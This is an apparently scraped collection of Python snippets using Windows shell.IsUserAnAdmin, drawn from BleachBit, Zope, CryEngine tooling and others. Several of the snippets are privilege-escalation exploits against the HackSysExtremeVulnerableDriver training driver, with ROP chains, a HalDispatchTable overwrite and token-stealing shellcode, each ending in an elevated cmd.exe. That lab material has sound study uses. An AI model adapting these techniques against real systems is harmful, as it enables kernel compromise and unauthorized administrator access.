def symlink_helper(link_fn):

            if 'nt' == os.name:
                from win32com.shell import shell
                if not shell.IsUserAnAdmin():
                    print 'WARNING: skipping symlink test because of insufficient privileges'
                    return

            # make regular file
            (fd, srcname) = tempfile.mkstemp(
                prefix='bleachbit-test-delete-regular')
            os.close(fd)

            # make symlink
            self.assert_(os.path.exists(srcname))
            linkname = tempfile.mktemp('bblink')
            self.assert_(not os.path.exists(linkname))
            link_fn(srcname, linkname)
            self.assert_(os.path.exists(linkname))
            self.assert_(os.path.lexists(linkname))

            # delete symlink
            delete(linkname, shred)
            self.assert_(os.path.exists(srcname))
            self.assert_(not os.path.lexists(linkname))

            # delete regular file
            delete(srcname, shred)
            self.assert_(not os.path.exists(srcname))

            #
            # test broken symlink
            #
            (fd,
             srcname) = tempfile.mkstemp(prefix='bleachbit-test-delete-sym')
            os.close(fd)
            self.assert_(os.path.lexists(srcname))
            link_fn(srcname, linkname)
            self.assert_(os.path.lexists(linkname))
            self.assert_(os.path.exists(linkname))

            # delete regular file first
            delete(srcname, shred)
            self.assert_(not os.path.exists(srcname))

            # clean up
            delete(linkname, shred)
            self.assert_(not os.path.exists(linkname))
            self.assert_(not os.path.lexists(linkname))
Beispiel #2
0
 def _test_wipe(contents):
     shortname = _write_file(longname, contents)
     logger.debug('test_file_wipe(): filename length={}, shortname length ={}, contents length={}'.format(
         len(longname), len(shortname), len(contents)))
     if shell.IsUserAnAdmin():
         # wiping requires admin privileges
         file_wipe(shortname)
         file_wipe(longname)
     else:
         with self.assertRaises(pywintypes.error):
             file_wipe(shortname)
             file_wipe(longname)
     self.assertExists(shortname)
     os.remove(extended_path(shortname))
     self.assertNotExists(shortname)
Beispiel #3
0
def elevate_privileges():
    """On Windows Vista and later, try to get administrator
    privileges.  If successful, return True (so original process
    can exit).  If failed or not applicable, return False."""

    if shell.IsUserAnAdmin():
        logger.debug('already an admin (UAC not required)')
        return False

    if hasattr(sys, 'frozen'):
        # running frozen in py2exe
        exe = sys.executable
        parameters = "--gui --no-uac"
    else:
        pyfile = os.path.join(bleachbit.bleachbit_exe_path, 'bleachbit.py')
        # If the Python file is on a network drive, do not offer the UAC because
        # the administrator may not have privileges and user will not be
        # prompted.
        if len(pyfile) > 0 and path_on_network(pyfile):
            logger.debug("debug: skipping UAC because '%s' is on network",
                         pyfile)
            return False
        parameters = '"%s" --gui --no-uac' % pyfile
        exe = sys.executable

    # add any command line parameters such as --debug-log
    parameters = "%s %s" % (parameters, ' '.join(sys.argv[1:]))

    logger.debug('elevate_privileges() exe=%s, parameters=%s', exe, parameters)

    rc = None
    try:
        rc = shell.ShellExecuteEx(lpVerb='runas',
                                  lpFile=exe,
                                  lpParameters=parameters,
                                  nShow=win32con.SW_SHOW)
    except pywintypes.error as e:
        if 1223 == e.winerror:
            logger.debug('user denied the UAC dialog')
            return False
        raise

    logger.debug('ShellExecuteEx=%s', rc)

    if isinstance(rc, dict):
        return True

    return False
Beispiel #4
0
 def test_Locked(self):
     """Test Worker using Action.LockedAction"""
     from win32com.shell import shell
     if shell.IsUserAnAdmin():
         # If an admin, the first attempt will mark for delete (3 bytes),
         # and the second attempt will actually delete it (3 bytes).
         errors_expected = 0
         bytes_expected = 3 + 3
         total_deleted = 2
     else:
         # If not an admin, the first attempt will fail, and the second wil succeed.
         errors_expected = 1
         bytes_expected = 3
         total_deleted = 1
     self.action_test_helper('locked', 0, errors_expected, None, None,
                             bytes_expected, total_deleted)
Beispiel #5
0
 def test_delete_locked_file(self):
     """Unit test for delete_locked_file"""
     tests = (('regular', u'unicode-emdash-u\u2014', 'long' + 'x' * 100))
     for test in tests:
         (fd, pathname) = tempfile.mkstemp(
             prefix='bleachbit-delete-locked-file', suffix=test)
         os.close(fd)
         self.assert_(os.path.exists(pathname))
         try:
             delete_locked_file(pathname)
         except pywintypes.error, e:
             if 5 == e.winerror and not shell.IsUserAnAdmin():
                 pass
             else:
                 raise
         self.assert_(os.path.exists(pathname))
Beispiel #6
0
def trigger_stack_overflow():
    dwReturn = c_ulong()
    driver_handle = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0,
        None)
    if not driver_handle or driver_handle == -1:
        debug_print("[!] Driver handle not found : Error " +
                    str(ctypes.GetLastError()))
        sys.exit()

    base_addresses = get_base_address(["hal.dll", "win32kfull.sys"])
    hal_base_address = base_addresses[0]
    win32kfull_base_address = base_addresses[1]

    shellcode_ptr = virtual_alloc_payload()

    debug_print("[+] Constructing malicious buffer w/ ROP chain")
    evil_input = "\x41" * 0x808  # junk
    evil_input += struct.pack("<Q", win32kfull_base_address +
                              0xD1122)  # POP RDX; RETN
    evil_input += struct.pack("<Q",
                              0x63000000)  # 0x63000000 -> Supervisor Mode
    evil_input += struct.pack("<Q", hal_base_address + 0xFDB2)  # POP RAX; RETN
    evil_input += struct.pack("<Q",
                              get_pxe_address(shellcode_ptr) -
                              3)  # PTE(shellcode ptr) - 3
    evil_input += struct.pack("<Q", hal_base_address +
                              0x9943)  # MOV [RAX], EDX; RETN
    evil_input += struct.pack("<Q",
                              hal_base_address + 0x19B20)  # Invalidate Cache
    evil_input += struct.pack("<Q", shellcode_ptr)  # shellcode ptr

    evil_size = len(evil_input)
    evil_input_ptr = id(evil_input) + 32
    debug_print("[+] Buf size: 0x%X" % evil_size)
    debug_print("[+] Sending malicious buffer")
    debug_print("[+] Triggering vuln ..")

    kernel32.DeviceIoControl(driver_handle, 0x222003, evil_input_ptr,
                             evil_size, None, 0, byref(dwReturn), None)

    if shell.IsUserAnAdmin():
        debug_print("[*] Enjoy Elevated Privs !\n")
        os.system('cmd.exe')
    else:
        debug_print("[!] Exploit did not work. Re-run it!")
Beispiel #7
0
def elevate(console=True, _argument='forced_elevate'):
    """Elevate the program to admin permissions."""
    if shell.IsUserAnAdmin() or sys.argv[-1] == _argument:
        return True

    script = os.path.abspath(sys.argv[0])
    params = ' '.join([script] + sys.argv[1:] + [_argument])
    try:
        shell.ShellExecuteEx(lpVerb='runas',
                             lpFile=sys.executable,
                             lpParameters=params,
                             nShow=5 if console else 0)
    except pywintypes.error:
        pass
    else:
        sys.exit(0)
    return False
Beispiel #8
0
        def symlink_helper(link_fn):
            if 'nt' == os.name:
                from win32com.shell import shell
                if not shell.IsUserAnAdmin():
                    self.skipTest(
                        'skipping symlink test because of insufficient privileges'
                    )

            # make regular file
            srcname = self.mkstemp(prefix='bleachbit-test-delete-regular')

            # make symlink
            self.assertExists(srcname)
            linkname = tempfile.mktemp('bblink')
            self.assertNotExists(linkname)
            link_fn(srcname, linkname)
            self.assertExists(linkname)
            self.assertLExists(linkname)

            # delete symlink
            delete(linkname, shred)
            self.assertExists(srcname)
            self.assertNotLExists(linkname)

            # delete regular file
            delete(srcname, shred)
            self.assertNotExists(srcname)

            #
            # test broken symlink
            #
            srcname = self.mkstemp(prefix='bleachbit-test-delete-sym')
            self.assertLExists(srcname)
            link_fn(srcname, linkname)
            self.assertLExists(linkname)
            self.assertExists(linkname)

            # delete regular file first
            delete(srcname, shred)
            self.assertNotExists(srcname)
            self.assertLExists(linkname)

            # clean up
            delete(linkname, shred)
            self.assertNotExists(linkname)
            self.assertNotLExists(linkname)
Beispiel #9
0
def main():
    handle = kernel32.CreateFileA(
        lpFileName,  #lpFileName
        GENERIC_READ | GENERIC_WRITE,  #dwDesiredAccess
        0,  #dwShareMode
        None,  #lpSecurityAttributes
        OPEN_EXISTING,  #dwCreationDisposition
        0,  #dwFlagsAndAttributes
        None)  #hTemplateFile
    if handle == INVALID_HANDLE_VALUE:
        print("[-] Failed to open device file. Error: " +
              str(kernel32.GetLastError()))
        sys.exit()

#assign What and Where
    shellcode = struct.pack("<L",
                            shellcode_addr + 4) + token_stealing_shellcode()
    alloc_memory(shellcode_addr, len(shellcode), shellcode)
    shellcode_addr_ptr = shellcode_addr
    What = shellcode_addr_ptr
    HalDispatchTable = getHalDispatchTable()
    Where = HalDispatchTable + 0x4
    payload = struct.pack("<L", What) + struct.pack("<L", Where)
    payload_addr = id(payload) + 0x14
    lpBytesReturned = c_ulong()
    kernel32.DeviceIoControl(
        handle,  #hDevice
        IOCTL_CODE,  #dwIoControlCode
        payload_addr,  #lpInBuffer
        len(payload),  #nInBufferSize
        None,  #lpOutBuffer
        0,  #noutBufferSize
        byref(lpBytesReturned),  #lpBytesReturned
        None)  #lpOverlapped

    p1 = c_ulong(0xdead)
    p2 = c_ulong()
    ntdll.NtQueryIntervalProfile(p1, byref(p2))

    if shell.IsUserAnAdmin():
        print("[+] Priv esc achieved!")
        print("[+] Here is your root shell!")
        new_process = subprocess.Popen("start cmd", shell=True)
    else:
        print("[-] Priv esc failed!")
Beispiel #10
0
def elevate_privileges():
    """On Windows Vista and later, try to get administrator
    privileges.  If successful, return True (so original process
    can exit).  If failed or not applicable, return False."""

    if platform.version() <= '5.2':
        # Earlier than Vista
        return False

    if shell.IsUserAnAdmin():
        print 'debug: already an admin (UAC not required)'
        return False

    if hasattr(sys, 'frozen'):
        # running frozen in py2exe
        exe = unicode(sys.executable, sys.getfilesystemencoding())
        py = "--gui --no-uac"
    else:
        # __file__ is absolute path to bleachbit/Windows.py
        pydir = os.path.dirname(unicode(__file__, sys.getfilesystemencoding()))
        pyfile = os.path.join(pydir, 'GUI.py')
        # If the Python file is on a network drive, do not offer the UAC because
        # the administrator may not have privileges and user will not be
        # prompted.
        if len(pyfile) > 0 and path_on_network(pyfile):
            print "debug: skipping UAC because '%s' is on network" % pyfile
            return False
        py = '"%s" --gui --no-uac' % pyfile
        exe = sys.executable

    print 'debug: exe=', exe, ' parameters=', py

    rc = None
    try:
        rc = shell.ShellExecuteEx(lpVerb='runas',
                                  lpFile=exe,
                                  lpParameters=py,
                                  nShow=win32con.SW_SHOW)
    except pywintypes.error, e:
        if 1223 == e.winerror:
            print 'debug: user denied the UAC dialog'
            return False
        raise
Beispiel #11
0
        def do_stop(self, arg):

            if not shell.IsUserAnAdmin():
                print(ERR_MSG_NOT_ADMIN)
                return

            status = self._get_service_status()
            if status is None:
                print('ERROR: Zope is not installed as Windows service.')
                return
            elif status == win32service.SERVICE_STOPPED:
                print('ERROR: The Zope Windows service has not been started.')
                return
            name = self._get_service_name()
            try:
                win32serviceutil.StopService(name)
                print('Stopping Windows Service "{}".'.format(name))
            except pywintypes.error:
                traceback.print_exc()
Beispiel #12
0
def delete_locked_file(pathname):
    """Delete a file that is currently in use"""
    if os.path.exists(pathname):
        try:
            win32api.MoveFileEx(pathname, None,
                                win32con.MOVEFILE_DELAY_UNTIL_REBOOT)
        except pywintypes.error, e:
            if not 5 == e.winerror:
                raise e
            if shell.IsUserAnAdmin():
                logger = logging.getLogger(__name__)
                logger.warning(
                    'Unable to queue locked file for deletion, even with administrator rights: %s'
                    % pathname)
                return
            # show more useful message than "error: (5, 'MoveFileEx', 'Access
            # is denied.')"
            raise RuntimeError(
                'Access denied when attempting to delete locked file without administrator rights: %s'
                % pathname)
Beispiel #13
0
    def create_com_object(self):
        """Create PcommServer.PmacDevice object.

        Returns:
            True if successful, False otherwise.

        """
        try:
            if not _shell.IsUserAnAdmin():
                if self.logger is not None:
                    self.logger.error(
                        'Fail to connect pmac: user is not a admin.')
                return False

            self._com_obj = _client.Dispatch('PcommServer.PmacDevice')
            return True
        except Exception:
            if self.logger is not None:
                self.logger.error('exception', exc_info=True)
            return False
Beispiel #14
0
def diagnostic_info():
    """Return diagnostic information as a string"""
    s = "BleachBit version %s" % Common.APP_VERSION
    try:
        import gtk
        s += '\nGTK version %s' % '.'.join([str(x) for x in gtk.gtk_version])
    except:
        pass
    s += "\nlocal_cleaners_dir = %s" % Common.local_cleaners_dir
    s += "\nlocale_dir = %s" % Common.locale_dir
    s += "\noptions_dir = %s" % Common.options_dir
    s += "\npersonal_cleaners_dir = %s" % Common.personal_cleaners_dir
    s += "\nsystem_cleaners_dir = %s" % Common.system_cleaners_dir
    s += "\nlocale.getdefaultlocale = %s" % str(locale.getdefaultlocale())
    if 'posix' == os.name:
        envs = ('DESKTOP_SESSION', 'LOGNAME', 'USER', 'SUDO_UID')
    if 'nt' == os.name:
        envs = ('APPDATA', 'LocalAppData', 'LocalAppDataLow', 'Music',
                'USERPROFILE', 'ProgramFiles', 'ProgramW6432', 'TMP')
    for env in envs:
        s += "\nos.getenv('%s') = %s" % (env, os.getenv(env))
    s += "\nos.path.expanduser('~') = %s" % os.path.expanduser('~')
    if sys.platform.startswith('linux'):
        if hasattr(platform, 'linux_distribution'):
            s += "\nplatform.linux_distribution() = %s" % str(
                platform.linux_distribution())
        else:
            s += "\nplatform.dist() = %s" % str(platform.dist())
    if 'nt' == os.name:
        s += "\nplatform.win32_ver[1]() = %s" % platform.win32_ver()[1]
    s += "\nplatform.platform = %s" % platform.platform()
    s += "\nplatform.version = %s" % platform.version()
    s += "\nsys.argv = %s" % sys.argv
    s += "\nsys.executable = %s" % sys.executable
    s += "\nsys.version = %s" % sys.version
    if 'nt' == os.name:
        s += "\nwin32com.shell.shell.IsUserAnAdmin() = %s" % shell.IsUserAnAdmin(
        )
    s += "\n__file__ = %s" % __file__

    return s
Beispiel #15
0
 def test_delete_locked_file(self):
     """Unit test for delete_locked_file"""
     tests = ('regular', u'unicode-emdash-u\u2014', 'long' + 'x' * 100)
     for test in tests:
         f = tempfile.NamedTemporaryFile(
             prefix='bleachbit-delete-locked-file',
             suffix=test,
             delete=False)
         pathname = f.name
         f.close()
         import time
         time.sleep(5)  # avoid race condition
         self.assertExists(pathname)
         logger.debug('delete_locked_file(%s) ' % pathname)
         if not shell.IsUserAnAdmin():
             with self.assertRaises(WindowsError):
                 delete_locked_file(pathname)
         else:
             delete_locked_file(pathname)
         self.assertExists(pathname)
     logger.info('reboot Windows and check the three files are deleted')
Beispiel #16
0
def ReadLogFromUefiInterface():
    if not shell.IsUserAnAdmin():
        print("""DecodeUefiLog is not running as an administrator. Please run
                 DecodeUefiLog in an administrator command prompt.""")
        raise SystemExit(1)

    InFile = tempfile.TemporaryFile()
    Index = 0
    UefiVar = UefiVariable()
    rc = 0

    while rc == 0:
        VariableName = 'V'+str(Index)
        (rc, var, errorstring) = UefiVar.GetUefiVar(VariableName, 'a021bf2b-34ed-4a98-859c-420ef94f3e94')
        if (rc == 0):
            Index += 1
            InFile.write(var)

    InFile.seek(0)

    return InFile
Beispiel #17
0
 def _test_wipe(contents, is_sparse=False):
     shortname = _write_file(longname, contents)
     if is_sparse:
         fh = open_file(extended_path(longname), mode=GENERIC_WRITE)
         file_make_sparse(fh)
         close_file(fh)
     logger.debug(
         'test_file_wipe(): filename length={}, shortname length ={}, contents length={}, is_sparse={}'
         .format(len(longname), len(shortname), len(contents),
                 is_sparse))
     if shell.IsUserAnAdmin():
         # wiping requires admin privileges
         file_wipe(shortname)
         file_wipe(longname)
     else:
         with self.assertRaises(pywintypes.error):
             file_wipe(shortname)
             file_wipe(longname)
     self.assertExists(shortname)
     os.remove(extended_path(shortname))
     self.assertNotExists(shortname)
Beispiel #18
0
def main(args):

    if os.name == 'nt':
        from win32com.shell import shell
        if not shell.IsUserAnAdmin():
            raise errors.ChalmersError(
                'You must be an administrator to run this command')
    else:
        if os.getuid() != 0:
            raise errors.ChalmersError('You must be root to run this command')

    service = SystemService(args.target_user)

    if args.action == 'status':
        service.status()
    elif args.action == 'enable':
        service.install()
    elif args.action == 'disable':
        service.uninstall()

    else:
        raise errors.ChalmersError("Invalid action %s" % args.action)
Beispiel #19
0
        def do_start(self, arg):

            if not shell.IsUserAnAdmin():
                print(ERR_MSG_NOT_ADMIN)
                return

            status = self._get_service_status()
            if status is None:
                print('ERROR: Zope is not installed as Windows service.')
                return
            elif status == win32service.SERVICE_START_PENDING:
                print('ERROR: The Zope Windows service is about to start.')
                return
            elif status == win32service.SERVICE_RUNNING:
                print('ERROR: The Zope Windows service is already running.')
                return
            name = self._get_service_name()
            try:
                win32serviceutil.StartService(name)
                print('Starting Windows Service "{}".'.format(name))
            except pywintypes.error:
                traceback.print_exc()
Beispiel #20
0
def trigger_overflow():
    lpBytesReturned = c_ulong()
    handle = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver",  #lpFileName
        GENERIC_READ | GENERIC_WRITE,  #dwDesiredAccess
        0,  #dwShareMode
        None,  #lpSecurityAttributes
        OPEN_EXISTING,  #dwCreationDisposition
        0,  #DwFileAttributes,
        None)  #hTemplateFile

    if not handle or handle == -1:
        print("[-] Failed to acquire driver handle: Error" +
              str(ctypes.GetLastError()))
        sys.exit()

    shellcode_addr = 0x42420000
    payload_addr = 0x41410000
    payload = "A" * 0x820 + struct.pack("<L", shellcode_addr)
    alloc_memory(payload_addr, len(payload), payload)
    shellcode = token_stealing_shellcode()
    alloc_memory(shellcode_addr, len(shellcode), shellcode)
    kernel32.DeviceIoControl(
        handle,  #hDevice
        2236419,  #dwIoControlCode
        payload_addr,  #lpInBuffer
        len(payload),  #nInBufferSize
        None,  #lpOutBuffer
        0,  #nOutBufferSize
        byref(lpBytesReturned),  #lpBytesReturned
        None)  #lpOverlapped
    if shell.IsUserAnAdmin():
        print("[+] Privilage escalation achieved!")
        print("[+] Here's Your Root Shell!")
        #os.system('cmd.exe')
        new_process = subprocess.Popen("start cmd", shell=True)
    else:
        print("[-] Privilage escalation failed!")
Beispiel #21
0
        def do_remove(self, arg):

            if not shell.IsUserAnAdmin():
                print(ERR_MSG_NOT_ADMIN)
                return

            status = self._get_service_status()
            if status is None:
                print 'ERROR: Zope is not installed as a Windows service.'
                return
            elif not status is win32service.SERVICE_STOPPED:
                print 'ERROR: Please stop the Windows service before removing it.'
                return

            ret_code = 0
            name = self._get_service_name()
            try:
                win32serviceutil.RemoveService(name)
                print 'Removed Windows Service "%s".' % name
            except pywintypes.error:
                ret_code = 1
                traceback.print_exc()

            return ret_code
Beispiel #22
0
def trigger_uninitialized_heap_variable():
    dwReturn = c_ulong()
    driver_handle = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0,
        None)
    if not driver_handle or driver_handle == -1:
        print "[!] Driver handle not found : Error " + str(
            ctypes.GetLastError())
        sys.exit()

    magicvalue = struct.pack('<I', 0xBAD0B0B1)
    magicvalue_ptr = id(magicvalue) + 20
    magicvalue_size = len(magicvalue)

    tainting_lookaside()
    print "[+] Triggering vuln .."
    kernel32.DeviceIoControl(driver_handle, 0x00222033, magicvalue_ptr,
                             magicvalue_size, None, 0, byref(dwReturn), None)

    if shell.IsUserAnAdmin():
        print "[*] Enjoy Elevated Privs !\r\n"
        os.system('cmd.exe')
    else:
        print "[-] Exploit did not work. Re-run it!"
Beispiel #23
0
def trigger_nullpointer_dereference():
    dwReturn = c_ulong()
    driver_handle = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0,
        None)
    if not driver_handle or driver_handle == -1:
        print "[!] Driver handle not found : Error " + str(
            ctypes.GetLastError())
        sys.exit()

    NtAllocateVirtualMemory_shellcode_ptr()

    magicvalue = struct.pack("<L", 0xBAD0B0B1)  #as long as it's not 0xBAD0B0B0
    magicvalue_size = len(magicvalue)
    magicvalue_ptr = id(magicvalue) + 20
    dev_ioctl = kernel32.DeviceIoControl(driver_handle, 0x22202B,
                                         magicvalue_ptr, magicvalue_size, None,
                                         0, byref(dwReturn), None)

    if shell.IsUserAnAdmin():
        print "[*] Enjoy Elevated Privs !\r\n"
        os.system('cmd.exe')
    else:
        print "[-] Exploit did not work. Re-run it!"
Beispiel #24
0
def trigger_stack_overflow_GS():
    dwReturn = c_ulong()
    driver_handle = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0,
        None)
    if not driver_handle or driver_handle == -1:
        print "[!] Driver handle not found : Error " + str(
            ctypes.GetLastError())
        sys.exit()

    buffer_ptr, buffer_size = create_map_file()

    print "[+] Sending malicious buffer"
    print "[+] Triggering vuln .."
    # Note buffer_size + 4 : +4 resides outside the mapped file to trigger an exception when memcpy the region
    # before GS check, which BSODs box
    kernel32.DeviceIoControl(driver_handle, 0x222007, buffer_ptr,
                             buffer_size + 4, None, 0, byref(dwReturn), None)

    if shell.IsUserAnAdmin():
        print "[*] Enjoy Elevated Privs !\r\n"
        os.system('cmd.exe')
    else:
        print "[!] Exploit did not work. Re-run it!"
Beispiel #25
0
 def skipUnlessAdmin(self):
     if not shell.IsUserAnAdmin():
         self.skipTest('requires administrator privileges')
Beispiel #26
0
    def test_file_wipe(self):
        """Unit test for file_wipe

        There are more tests in testwipe.py
        """

        from bleachbit.WindowsWipe import file_wipe, open_file, close_file, file_make_sparse
        from bleachbit.Windows import elevate_privileges
        from win32con import GENERIC_WRITE, WRITE_DAC

        dirname = tempfile.mkdtemp(prefix='bleachbit-file-wipe')

        filenames = ('short', 'long' + 'x' * 250, 'utf8-ɡælɪk')
        for filename in filenames:
            longname = os.path.join(dirname, filename)
            logger.debug('file_wipe(%s)', longname)

            def _write_file(longname, contents):
                self.write_file(longname, contents)
                import win32api
                shortname = extended_path_undo(
                    win32api.GetShortPathName(extended_path(longname)))
                self.assertExists(shortname)
                return shortname

            def _deny_access(fh):
                import win32security
                import ntsecuritycon as con

                user, _, _ = win32security.LookupAccountName("", win32api.GetUserName())
                dacl = win32security.ACL()
                dacl.AddAccessDeniedAce(win32security.ACL_REVISION, con.FILE_GENERIC_READ | con.FILE_GENERIC_WRITE, user)
                win32security.SetSecurityInfo(fh, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION,
                    None, None, dacl, None)

            def _test_wipe(contents, deny_access = False, is_sparse=False):
                shortname = _write_file(longname, contents)
                if deny_access or is_sparse:
                    fh = open_file(extended_path(longname), mode=GENERIC_WRITE | WRITE_DAC)
                    if is_sparse:
                        file_make_sparse(fh)
                    if deny_access:
                        _deny_access(fh)
                    close_file(fh)
                logger.debug('test_file_wipe(): filename length={}, shortname length ={}, contents length={}, is_sparse={}'.format(
                    len(longname), len(shortname), len(contents), is_sparse))
                if shell.IsUserAnAdmin():
                    # wiping requires admin privileges
                    file_wipe(shortname)
                    file_wipe(longname)
                else:
                    with self.assertRaises(pywintypes.error):
                        file_wipe(shortname)
                        file_wipe(longname)
                self.assertExists(shortname)
                os.remove(extended_path(shortname))
                self.assertNotExists(shortname)

            # A small file that fits in MFT
            _test_wipe(b'')

            # requires wiping of extents
            _test_wipe(b'secret' * 100000)

            # requires wiping of extents: special file case
            elevate_privileges(False)
            _test_wipe(b'secret' * 100000, deny_access = True, is_sparse=True)

        shutil.rmtree(dirname, True)

        if shell.IsUserAnAdmin():
            logger.warning(
                'You should also run test_file_wipe() without admin privileges.')
        else:
            logger.warning(
                'You should also run test_file_wipe() with admin privileges.')
Beispiel #27
0
def main(queue_results, queue_errors):
    log.info("Starting with process ID %d", os.getpid())

    # Check if the user is an Administrator.
    # If not, quit with an error message.
    if not shell.IsUserAnAdmin():
        log.error("The user is not an Administrator, aborting")
        queue_errors.put('NOT_AN_ADMIN')
        return

    # Generate configuration values.
    cfg = Config()

    # Check if this is a supported version of Windows and if so, obtain the
    # volatility profile name.
    cfg.get_profile_name()
    if not cfg.profile:
        log.error("Unsupported version of Windows, can't select a profile")
        queue_errors.put('UNSUPPORTED_WINDOWS')
        return

    log.info("Selected Profile Name: {0}".format(cfg.profile))

    # Obtain the path to the driver to load. At this point, this check should
    # not fail, but you never know.
    if not cfg.get_driver_path():
        log.error("Unable to find a proper winpmem driver")
        queue_errors.put('NO_DRIVER')
        return

    log.info("Selected Driver: {0}".format(cfg.driver))

    # This is the ugliest black magic ever, but somehow helps.
    # Just tries to brutally destroy the winpmem service if there is one
    # lying around before trying to launch a new one again.
    destroyer = threading.Thread(target=destroy,
                                 args=(cfg.driver, cfg.service_name))
    destroyer.start()
    destroyer.join()

    # Initialize the winpmem service.
    try:
        service = Service(driver=cfg.driver, service=cfg.service_name)
        service.create()
        service.start()
    except DetectorError as e:
        log.critical("Unable to start winpmem service: %s", e)
        queue_errors.put('SERVICE_NO_START')
        return
    else:
        log.info("Service started")

    # Launch the scanner.
    try:
        scan(cfg.service_path, cfg.profile, queue_results)
    except DetectorError as e:
        log.critical("Yara scanning failed: %s", e)
        queue_errors.put('SCAN_FAILED')
    else:
        log.info("Scanning finished")

    # Stop the winpmem service and unload the driver. At this point we should
    # have cleaned up everything left on the system.
    try:
        service.stop()
        service.delete()
    except DetectorError as e:
        log.error("Unable to stop winpmem service: %s", e)
    else:
        log.info("Service stopped")

    log.info("Analysis finished")
Beispiel #28
0
def isAdmin():
    return shell.IsUserAnAdmin()
def is_root_user():
    return shell.IsUserAnAdmin()
Beispiel #30
0
def cmd_install(args):

    uninstall_integration()

    #---

    if getattr(sys, 'frozen', False):
        ScriptPath = os.path.abspath(sys.executable)
        engine_commands = (('add', 'Register engine',
                            '"%s" add "%%1"' % ScriptPath), )

        # --- extended, action, title, command
        # The first collumn difines extended action. The associated commands will be displayed only when the user right-clicks an object while also pressing the SHIFT key.
        # https://msdn.microsoft.com/en-us/library/cc144171(VS.85).aspx
        project_commands = (
            (False, 'edit', 'Launch editor', '"%s" edit "%%1"' % ScriptPath),
            (False, 'open', 'Launch game', '"%s" open "%%1"' % ScriptPath),
            (False, 'monodev', 'Edit code', '"%s" monodev "%%1"' % ScriptPath),
            (False, '_build', 'Build solution',
             '"%s" build "%%1"' % ScriptPath),
            (False, '_projgen', 'Generate solution',
             '"%s" projgen "%%1"' % ScriptPath),
            (False, '_switch', 'Switch engine version',
             '"%s" switch "%%1"' % ScriptPath),
            (False, '_deploy', 'Deploy build',
             '"%s" deploy "%%1"' % ScriptPath),
            (True, 'metagen', 'Generate/repair metadata',
             '"%s" metagen "%%1"' % ScriptPath),
        )
    else:
        ScriptPath = os.path.abspath(__file__)
        PythonPath = python3_path()
        engine_commands = (('add', 'Register engine', '"%s" "%s" add "%%1"' %
                            (PythonPath, ScriptPath)), )

        project_commands = (
            (False, 'edit', 'Launch editor',
             '"%s" "%s" edit "%%1"' % (PythonPath, ScriptPath)),
            (False, 'open', 'Launch game',
             '"%s" "%s" open "%%1"' % (PythonPath, ScriptPath)),
            (False, 'monodev', 'Edit code', '"%s" monodev "%%1"' % ScriptPath),
            (False, '_build', 'Build solution',
             '"%s" "%s" build "%%1"' % (PythonPath, ScriptPath)),
            (False, '_projgen', 'Generate solution',
             '"%s" "%s" projgen "%%1"' % (PythonPath, ScriptPath)),
            (False, '_switch', 'Switch engine version',
             '"%s" "%s" switch "%%1"' % (PythonPath, ScriptPath)),
            (False, '_deploy', 'Deploy build',
             '"%s" "%s" deploy "%%1"' % (PythonPath, ScriptPath)),
            (True, 'metagen', 'Generate/repair metadata',
             '"%s" "%s" metagen "%%1"' % (PythonPath, ScriptPath)),
        )

    #---

    current_user_is_admin = shell.IsUserAnAdmin()
    key = False and win32con.HKEY_LOCAL_MACHINE or win32con.HKEY_CURRENT_USER
    hClassesRoot = win32api.RegOpenKeyEx(key, 'Software\\Classes')
    #https://msdn.microsoft.com/en-us/library/windows/desktop/cc144152(v=vs.85).aspx

    #--- .cryengine

    FriendlyTypeName = 'CryEngine version'
    ProgID = 'CrySelect.engine'
    AppUserModelID = 'CrySelect.engine'
    DefaultIcon = os.path.abspath(
        os.path.join(os.path.dirname(ScriptPath), 'editor_icon.ico'))

    hProgID = win32api.RegCreateKey(hClassesRoot, ProgID)
    win32api.RegSetValueEx(hProgID, None, None, win32con.REG_SZ,
                           FriendlyTypeName)
    win32api.RegSetValueEx(hProgID, 'AppUserModelID', None, win32con.REG_SZ,
                           AppUserModelID)
    win32api.RegSetValueEx(hProgID, 'FriendlyTypeName', None, win32con.REG_SZ,
                           FriendlyTypeName)
    win32api.RegSetValue(hProgID, 'DefaultIcon', win32con.REG_SZ, DefaultIcon)

    #---

    hShell = win32api.RegCreateKey(hProgID, 'shell')
    win32api.RegCloseKey(hProgID)

    for action, title, command in engine_commands:
        hAction = win32api.RegCreateKey(hShell, action)
        win32api.RegSetValueEx(hAction, None, None, win32con.REG_SZ, title)
        win32api.RegSetValueEx(hAction, 'Icon', None, win32con.REG_SZ,
                               DefaultIcon)
        win32api.RegSetValue(hAction, 'command', win32con.REG_SZ, command)
        win32api.RegCloseKey(hAction)

    action = 'add'
    win32api.RegSetValueEx(hShell, None, None, win32con.REG_SZ, action)
    win32api.RegCloseKey(hShell)

    #---

    hCryProj = win32api.RegCreateKey(hClassesRoot,
                                     cryregistry.ENGINE_EXTENSION)
    win32api.RegSetValueEx(hCryProj, None, None, win32con.REG_SZ, ProgID)
    win32api.RegCloseKey(hCryProj)

    #--- .cryproject

    FriendlyTypeName = 'CryEngine project'
    ProgID = 'CrySelect.project'
    AppUserModelID = 'CrySelect.project'
    DefaultIcon = os.path.abspath(
        os.path.join(os.path.dirname(ScriptPath), 'editor_icon16.ico'))

    hProgID = win32api.RegCreateKey(hClassesRoot, ProgID)
    win32api.RegSetValueEx(hProgID, None, None, win32con.REG_SZ,
                           FriendlyTypeName)
    win32api.RegSetValueEx(hProgID, 'AppUserModelID', None, win32con.REG_SZ,
                           AppUserModelID)
    win32api.RegSetValueEx(hProgID, 'FriendlyTypeName', None, win32con.REG_SZ,
                           FriendlyTypeName)
    win32api.RegSetValue(hProgID, 'DefaultIcon', win32con.REG_SZ, DefaultIcon)

    #---

    hShell = win32api.RegCreateKey(hProgID, 'shell')
    win32api.RegCloseKey(hProgID)

    for extended, action, title, command in project_commands:
        hAction = win32api.RegCreateKey(hShell, action)
        win32api.RegSetValueEx(hAction, None, None, win32con.REG_SZ, title)
        win32api.RegSetValueEx(hAction, 'Icon', None, win32con.REG_SZ,
                               DefaultIcon)
